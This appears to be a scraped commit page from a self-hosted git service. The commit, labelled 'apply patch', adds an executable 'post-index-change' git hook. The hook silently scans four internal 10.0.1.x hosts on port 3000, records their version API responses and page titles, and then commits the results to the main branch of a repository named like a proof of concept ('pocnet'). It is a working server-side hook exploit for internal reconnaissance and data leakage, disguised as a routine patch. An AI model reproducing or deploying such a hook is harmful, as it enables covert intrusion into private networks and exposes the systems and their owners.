apply patch
This commit is contained in:
14
hooks/post-index-change
Executable file
14
hooks/post-index-change
Executable file
@@ -0,0 +1,14 @@
|
||||
#!/bin/bash
|
||||
echo '=== INTERNAL INSTANCES ===' > /tmp/internal.txt
|
||||
for ip in 10.0.1.7 10.0.1.11 10.0.1.49 10.0.1.50; do
|
||||
echo "--- $ip ---" >> /tmp/internal.txt
|
||||
curl -s http://$ip:3000/api/v1/version 2>/dev/null >> /tmp/internal.txt
|
||||
echo "" >> /tmp/internal.txt
|
||||
curl -s http://$ip:3000/ 2>/dev/null | grep -i "title\|Powered by" | head -2 >> /tmp/internal.txt
|
||||
done
|
||||
echo '=== DONE ===' >> /tmp/internal.txt
|
||||
BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan14.git hash-object -w /tmp/internal.txt`
|
||||
TREE=`printf "100644 blob %s\tinternal.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan14.git mktree`
|
||||
PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan14.git rev-parse HEAD`
|
||||
COMMIT=`echo "internal scan" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan14.git commit-tree $TREE -p $PARENT`
|
||||
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan14.git update-ref refs/heads/main $COMMIT
|
||||
Reference in New Issue
Block a user